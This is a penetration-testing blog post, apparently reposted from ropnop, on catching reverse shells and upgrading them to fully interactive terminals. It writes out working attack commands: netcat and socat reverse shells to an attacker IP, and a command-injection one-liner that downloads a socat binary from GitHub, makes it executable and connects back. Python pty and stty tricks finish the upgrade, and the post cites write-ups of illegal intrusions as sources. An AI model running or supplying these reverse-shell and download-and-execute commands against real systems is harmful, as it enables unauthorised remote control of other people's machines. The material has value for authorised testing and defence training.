Long story short, while these shells are great to catch, I'd much rather operate in a fully interactive TTY.
I've come across some good resources that include very helpful tips and techniques for "upgrading" these shells, and wanted to compile and share in a post. Along with Pentest Monkey, I also learned the techniques from Phineas Fisher in his released videos and writeups of his illegal activities:
- Pentest Monkey - Post Exploitation Without a TTY
- Phineas Fisher Hacks Catalan Police Union Website
- Phineas Fisher - Hackingteam Writeup
- VICTIM IP: 10.0.3.7
- KALI IP: 10.0.3.4
Generating reverse shell commands
Everyone is pretty familiar with the traditional way of using netcat to get a reverse shell:nc -e /bin/sh 10.0.3.4 4444
and catching it with: nc -lvp 4444
The problem is not every server has netcat installed, and not every version of netcat has the -e
option. Pentest Monkey has a great cheatsheet outlining a few different methods, but my favorite technique is to use Metasploit's
msfvenom
to generate the one-liner commands for me.Metasploit has several payloads under "cmd/unix" that can be used to generate one-liner bind or reverse shells:
Any of these payloads can be used with
msfvenom
to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here's a netcat command not requiring the -e
flag:And here's a Perl oneliner in case
netcat
isn't installed:These can all be caught by using netcat and listening on the port specified (4444).
Method 1: Python pty module
One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let's you spawn a psuedo-terminal that can fool commands likesu
into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command:python -c 'import pty; pty.spawn("/bin/bash")'
This will let you run su
for example (in addition to giving you a nicer prompt)Unfortunately, this doesn't get around some of the other issues outlined above. SIGINT (Ctrl-C) will still close Netcat, and there's no tab-completion or history. But it's a quick and dirty workaround that has helped me numerous times.
Method 2: Using socat
socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY's over TCP connections.If
socat
is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat
as well to get the full functions.The following commands will yield a fully interactive TTY reverse shell:
On Kali (listen):
socat file:`tty`,raw,echo=0 tcp-listen:4444
On Victim (launch):socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
If socat isn't installed, you're not out of luck. There are
standalone binaries that can be downloaded from this awesome Github
repo:https://github.com/andrew-d/static-binaries
With a command injection vuln, it's possible to download the correct architecture
socat
binary to a writable directoy, chmod it, then execute a reverse shell in one line:wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
On Kali, you'll catch a fully interactive TTY session. It supports
tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It's a
full terminal. Pretty sweet.Method 3: Upgrading from netcat with magic
I watched Phineas Fisher use this technique in his hacking video, and it feels like magic. Basically it is possible to use a dumb netcat shell to upgrade to a full TTY by setting somestty
options within your Kali terminal.First, follow the same technique as in Method 1 and use Python to spawn a PTY. Once bash is running in the PTY, background the shell with
Ctrl-Z
While the shell is in the background, now examine the current terminal and STTY info so we can force the connected shell to match it:
The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116")
With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command:
stty raw -echo
With a raw stty, input/output will look weird and you won't see the next commands, but as you type they are being processed.Next foreground the shell with
fg
. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset
.Note: I did not type the
nc
command again (as it might look above). I actually entered fg
, but it was not echoed. The nc
command is the job that is now in the foreground. The reset
command was then entered into the netcat shellAfter the
reset
the shell should look normal again. The
last step is to set the shell, terminal type and stty size to match our
current Kali window (from the info gathered above)$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116
The end result is a fully interactive TTY with all the features we'd
expect (tab-complete, history, job control, etc) all over a netcat
connection:The possibilities are endless now. Tmux over a netcat shell?? Why not? :D
tl;dr cheatsheet
Cheatsheet commands:Using Python for a psuedo terminal
python -c 'import pty; pty.spawn("/bin/bash")'
Using socat#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Using stty options# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
Any other cool techniques? Let me know in the comments or hit me up on twitter.Enjoy!
from https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
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